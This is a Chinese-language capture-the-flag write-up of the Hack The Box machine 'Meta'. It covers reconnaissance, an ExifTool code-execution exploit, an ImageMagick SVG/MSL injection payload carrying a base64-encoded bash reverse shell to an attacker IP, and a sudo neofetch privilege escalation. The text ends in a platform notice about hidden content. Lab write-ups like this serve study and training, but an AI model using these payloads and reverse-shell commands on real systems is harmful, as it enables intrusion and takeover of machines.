nmap -p- --min-rate 10000 -v -sV -sC -A -Pn 10.10.11.140
只开放了22,80
80指向artcorp.htb,配进host。
扫目录没什么结果,从页面信息可知,该公司有一个正在开发中的产品metaview
尝试爆破一下
wfuzz -c -u "http://artcorp.htb/" -H "Host:FUZZ.artcorp.htb" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt --hc 301
果然找到测试环境的子站dev01.artcorp.htb。配进host访问之
页面就是一个上传框,Upload your image to display related metadata。传个大图片直接就报错了。先扫一下看看
dirsearch -u http://dev01.artcorp.htb/metaview/ -e *
在composer.json中发现exiftoolwrapper
也就是说主页那个上传获取meta data也是调的exiftool啊,天下代码一大抄:)
exploit-db搜到一个exp
ExifTool 12.23 - Arbitrary Code Execution
python3 50911.py -s 10.10.14.9 4444
生成恶意图片后上传成功得到反弹shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
但目前是www-data权限读取不到flag
下一步看样子是要获取thomas的权限
suid无可利用,定时任务、也没在文件里翻到。网站文件里也没有敏感信息
陷入僵局。上传pspy看看
发现周期性的跑/usr/local/bin/convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
mogrify命令引起了我的注意
/local/bin/mogrify -version
搜索imageMagick相关漏洞,vulhub中就有
把poc.svg文件下载下来,vscode打开就能看见注入点
修改payload为echo 'bash -i >& /dev/tcp/10.10.14.9/1234 0>&1 ' | base64
(不知道为啥直接改成/tmp/rev执行文件不行)
<image authenticate='ff" `echo "YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOS8xMjM0IDA+JjEgCg==" | base64 -d | bash`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
上传poc.svg到/var/www/dev01.artcorp.htb/convert_images/目录,等定时任务触发就行
成功读取到user flag
.ssh目录下存有私钥,改用ssh登录机器
sudo -l
发现无需密码项
gtfobins中的利用方法如下
TF=$(mktemp)
echo 'exec /bin/sh' >$TF
sudo neofetch --config $TF
但是我们这里\"\"
限制了不能有参数,很自然会想到有没有办法把我们恶意的配置写到默认config文件里,这样就不用在参数里指定了。
echo 'exec /bin/sh' > .config/neofetch/config.conf
但是无事发生。。。。
根据0xdf的walkthrough
The
neofetch
docs have a section on “Config File Location”, which say it’s${HOME}/.config/neofetch/config.conf
. That’s actually slightly misleading. Looking at the source itself, there’s aget_user_config()
function that tries to load a config from:
- a location given with
--config
${XDG_CONFIG_HOME}/neofetch/config.conf
${XDG_CONFIG_HOME}/neofetch/config
- nowhere if
$no_config
is set
配置文件读取路径其实和环境变量XDG_CONFIG_HOME有关
XDG_CONFIG_HOME=~/.config sudo neofetch
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。